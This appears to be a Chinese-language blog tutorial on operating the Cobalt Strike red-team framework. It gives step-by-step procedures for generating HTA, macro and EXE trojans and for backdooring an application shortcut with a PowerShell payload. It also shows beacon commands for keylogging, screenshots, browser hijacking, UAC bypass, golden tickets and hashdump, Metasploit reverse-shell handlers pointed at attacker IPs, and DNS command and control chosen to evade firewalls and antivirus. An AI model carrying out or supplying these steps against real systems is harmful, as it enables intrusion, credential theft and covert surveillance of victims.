參考連接:html
https://www.ezreal.net/archives/166.html
http://blog.cobaltstrike.com/category/cobalt-strike-2/ cobaltstrike做者博客
https://wujunze.com/wooyun/drops/Cobalt%20Strike%20之團隊服務器的搭建與DNS通信演示.html
cobalt strike從3.0 開始,再也不依賴於Metasploit框架而是做爲一個獨立的平臺使用。本次服務器搭建過程使用cobaltstrike3.8。3.0以前的版本,teamserver搭建過程則須要安裝配置msf,這裏不在贅述。java
(1)團隊服務器上:linux
(VPS的話要寫外網ip,而且能夠進行端口映射,默認使用50050端口)git
sudo ./teamserver 服務器IP 鏈接密碼
可是這個終端一關閉團隊服務器也就關閉了,這裏咱們能夠把他置於後臺來運行:github
nohup ./teamserver IP 密碼 &
這樣就能夠了,這個目錄下會生成一個nohup.out的文件web
注意shell
1.內存使用超過%50 沒法啓動java虛擬機。
2.3.0以前的版本,結束Cobalt Strike的時候也要同時結束全部 msfrpcd 進程,不然下次會啓動不了。數據庫
(2)使用客戶端鏈接windows
java -jar cobaltstrike.jar
我的在使用過程當中,曾經出現過jvm內存不夠的問題,致使服務器運行出錯。能夠添加swap虛擬內存,具體能夠參考個人另一篇博文:linux添加swap瀏覽器
Cobalt Strike首先須要建立一個Listener,用於監聽會話和接受shell鏈接。依次點擊 Cobalt Strike->Listeners ,點擊Add即可以建立本身想要的Listener。
(1)Packages
這個選項中包含了多種攻擊方式。
HTML Application 生成惡意的HTA木馬文件; MS Office Macro 生成office宏病毒文件; Payload Generator 生成各類語言版本的payload; USB/CD AutoPlay 生成利用自動播放運行的木馬文件; Windows Dropper 捆綁器,可以對文檔類進行捆綁; Windows Executable 生成可執行exe木馬; Windows Executable(S) 生成無狀態的可執行exe木馬
舉例
HTML Application 生成一個基於powershell的惡意HTA木馬
選中attack–>packages–>HTML Application
選擇基於powershell的HTA木馬
點擊Generate保存錄便可生成一個HTA木馬
當目標點擊HTA木馬後便可得到一個beacon
MS Office Macro 生成office宏病毒文件
能夠參考:Office Phishing
(2)Web Drive-by(釣魚攻擊)
Manage 對開啓的web服務進行管理; Clone Site 克隆網站,能夠記錄受害者提交的數據; Host File 提供一個文件下載,能夠修改Mime信息;Host File 能夠配合DNS欺騙實現掛馬效果使用 PowerShell Web Delivery 相似於msf 的web_delivery ; Signed Applet Attack 使用java自簽名的程序進行釣魚攻擊; Smart Applet Attack 自動檢測java版本並進行攻擊,針對Java 1.6.0_45如下以及Java 1.7.0_21如下版本; System Profiler 用來獲取一些系統信息,好比系統版本,Flash版本,瀏覽器版本等。 Spear Phish 用來郵件釣魚的模塊
還有其餘的模塊其實都差很少
如Signed Applet Attack Smart Applet Attack和S.E.T的java攻擊向量相同
powershell web-Drive-by製做快捷方式後門:
依次選擇attack–>web-Drive-by–>powershell Drive-by URI Path:/ Local Port:80 Listener:saya Laubch生成以後會輸出一條語句這條語句在powershell運行會獲得一個beacon可是通常人不會這麼去運行 隨便複製一個軟件的快捷方式 這裏以QQ快捷方式爲例子目標,複製咱們的powershell語句,起始位置清空,粘貼咱們的語句,"應用",當目標點擊快捷方式得到beacon
(3)View
Applications 顯示受害者機器的應用信息;
Credentials 顯示受害者機器的憑證信息,能更方便的進行後續滲透;
Downloads 文件下載;
Event Log 能夠看到事件日誌,清楚的看到系統的事件,而且團隊能夠在這裏聊天;
Keystrokes 查看鍵盤記錄;
Proxy Pivots 查看代理信息;
Screenshots 查看屏幕截圖;
Script Console 在這裏能夠加載各類腳本以加強功能,腳本地址:https://github.com/rsmudge/cortana-scripts
Targets 查看目標;
Web Log 查看web日誌。
Reporting 主要就是出報告用的
(4)Beacon
Beacon能夠選擇經過DNS仍是HTTP協議出口網絡,你甚至能夠在使用Beacon通信過程當中切換HTTP和DNS。其支持多主機鏈接,部署 好Beacon後提交一個要連回的域名或主機的列表,Beacon將經過這些主機輪詢。目標網絡的防禦團隊必須攔截全部的列表中的主機纔可中斷和其網絡的 通信。經過種種方式獲取shell之後(好比直接運行生成的exe),就可使用beacon了
右擊電腦,Interact,則可打開Beacon Console;爲了能快速顯示結果,能夠設置 beacon>sleep 0
1)Browserpivot
用戶注入受害者瀏覽器進程,而後開啓HTTP代理,以後就能夠登陸受害者登陸的網站了。
使用方式
ps找到瀏覽器進程PID,如iexplorer.exe,爲3452
注入進程:beacon> browserpivot 3452(PID) x64(架構)
注入瀏覽器進程成功以後,會顯示: Browser Pivot HTTP proxy is at: xxx.xxx.xxx.xxx:端口號
設置本地HTTP瀏覽器代理
固然當被攻擊者關閉瀏覽器的時候,代理也就失效了,關閉此代理可以使用以下命令:browserpivot stop
2)Socks
直接開啓socks4a代理,能夠經過代理進行內網滲透測試。
開啓socksbeacon>socks 9999
這裏能夠選擇其中一臺,右鍵Pivoting->SOCKS Server,則使用此臺計算機開啓socks代理。
配置proxychains.conf,添加: socks4 127.0.0.1 9999
而後就能夠經過proxychains 等各類工具作內網滲透了。
msf中開啓隧道使用(在鏈接數據庫的狀況下,msf會與本地數據庫斷開)
msf>setg Proxies socks:192.168.1.103.53790
關閉socks:beacon>socks stop
3)Screenshot
這裏的screenshot能夠截取受害者必定時間的屏幕截圖,操做命令爲:
beacon>screenshot [pid] <x86|x64> [run time in seconds]
或者: beacon>screenshot
而後打開View->Screenshots,則能夠看到屏幕截圖
4)Keylogger鍵盤記錄器
keylogger [pid] <x86|x64>
而後打開View->Keystrokes,則能夠看到鍵盤記錄結果
若是不想使用命令行,能夠直接選擇受害者計算機(可多選)
5)powershell-import
這個功能在後滲透測試中頗有用,能夠導入各類powershell滲透框架,好比nishang的powerpreter,直接執行:
beacon> powershell-import
而後在文件瀏覽器裏面選擇 Powerpreter.psm1
或者直接執行:
powershell-import [/path/to/local/script.ps1]
進行導入,以後就可使用powerpreter的各類模塊了。
要執行某模塊直接使用以下命令,好比:beacon> powershell Check-VM
6)kerberos
這裏一共有三個模塊,分別是:
kerberos_ccache_use 從ccache文件中導入票據
kerberos_ticket_purge 清除當前會話的票據
kerberos_ticket_use 從ticket文件中導入票據
使用mimikatz:
kerberos::golden /admin:USER /domain:DOMAIN /sid:SID /krbtgt:HASH /ticket:FILE
烏雲關於kerberos也有相關文章
http://drops.wooyun.org/tips/7547 內網滲透中的mimikatz
http://drops.wooyun.org/tips/9591 域滲透的金之鑰匙
7)BypassUAC
直接執行:
beacon> bypassuac
下面你就能夠執行那些須要最高權限的操做了。
這一塊在測試Win10的時候並無成功,關於Win10的bypassuac能夠參考這篇文章:
使用一個做者修改的powershell腳本 invoke-BypassUAC.ps1
生成一個beacon後門: Windows Executable Listener:reverse_http Output: Windows EXE 上傳後門: beacon> cd E: beacon> upload /Users/evi1cg/Desktop/test.exe 加載powershell執行後門: beacon> powershell-import /Users/evi1cg/Pentest/Powershell/MyShell/invoke-BypassUAC.ps1 beacon> powershell Invoke-BypassUAC -Command 'E:\test.exe' 使用那個破了的電腦的beacon讀取密碼: beacon> sleep 0 beacon> wdigest beacon> hashdump
首先咱們使用msf的reverse_tcp開啓監聽模式:
msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set lhost 192.168.1.100 lhost => 192.168.1.100 msf exploit(handler) > set lport 5555 lport => 5555 msf exploit(handler) > exploit
以後使用Cobalt Strike建立一個
windows/foreign/reverse_tcp Listener
其中ip爲msf的ip地址,端口爲msf所監聽的端口。
而後選中計算機,右鍵->Spawn,選擇剛剛建立的監聽器:
msf中便可看到成功獲取了meterpreter會話
你前提須要有一個meterpreter會話 ,而後咱們使用這個模塊
exploit/windows/local/payload_inject
功能是注入一個新的payload 到當前的session裏面
咱們先在cobaltstrike上建立一個監聽器,等會用於接收msf派生的shell,這裏我使用
windows/beacon_http/reverse_http
而後在msf中
use exploit/windows/local/payload_inject msf exploit(payload_inject) > set PAYLOAD windows/meterpreter/reverse_http msf exploit(payload_inject) > set DisablePayloadHandler true DisablePayloadHandler => true msf exploit(payload_inject) > set LHOST 192.168.81.135 LHOST => 192.168.81.135 msf exploit(payload_inject) > set LPORT 8880 LPORT => 8880 msf exploit(payload_inject) > set SESSION 1 SESSION => 1 msf exploit(payload_inject) > exploit [*] Running module against WIN-I6HQQE1E7AG [*] Launching notepad.exe... [*] Preparing 'windows/meterpreter/reverse_http' for PID 3916 msf exploit(payload_inject) >
解釋下:
cobaltstrike的監聽器咱們使用的是:windows/beacon_http/reverse_http,
因此咱們msf的payload要使用:windows/meterpreter/reverse_http
設置msf本地監聽ip和端口爲cobaltstrike機器的ip和端口
默認狀況下,payload_inject執行以後會在本地產生一個新的handler,
因爲咱們已經有了一個,因此不須要在產生一個,因此這裏咱們設置
set DisablePayloadHandler true
若是出現錯誤,PID does not actually exist,能夠設置一下注入進程的pid。set pid 進程號
Cobalt Strike有個beacons的功能,它能夠經過DNS,HTTP,SMB來傳輸數據,下面我以DNS爲例演示下。經過DNS來控制目標和滲透好處是不開端口,能繞過大部分防火牆,隱蔽性好等等。詳細文章可參考這篇博文。
(1)首先咱們的有個域名,而且建立一條A記錄指向咱們的metasploit服務器,記住不要用CDN什麼的
(2)而後再建立2個或3個ns記錄指向剛纔建立的A記錄。這樣咱們就能夠經過dns找到咱們的metasploit服務器了。
在Cobalt Strike中咱們添加一個listener
Edit Listener Payload windows/beacon_dns/reverse_http host port 80
HOST填寫的是metasplit服務的IP,在點擊Save的時候會要求填寫你的NS記錄,這裏寫入咱們剛纔建立的3個ns記錄。接下來建立一個木馬測試下。
在attack->packages中找到windows木馬生成
Windows Executable
Listener: beacon(DNS)
Output: Windows EXE
Listener選擇咱們剛纔建立的(有兩個,選擇有DNS的那個),輸出的有exe,帶服務的EXE,dll等。
(鏈接方式以DNS生成的DLL木馬能過掉很大一部分殺毒軟件)
把生成的DNS.EXE放到虛擬機中運行。
回到Cobalt Strike打開beacons管理器發現有一個服務端響應了咱們
右鍵是管理菜單,選擇sleep設置相應的時間,而後選擇interact來到操做界面
傳輸有dns、dns-txt,http,smb四種,咱們這裏用的是DNS就在dns、dns-txt中選擇把,前者傳送的數據小後者傳送的數據多。命令
beacon> mode dns-txt(這裏能夠用TAB補齊命令的)
這中方式好處在於比較對控制目標主機比較隱蔽,缺點在每次的命令的返回結果比較慢,在過防火牆方面仍是不錯的。
拓展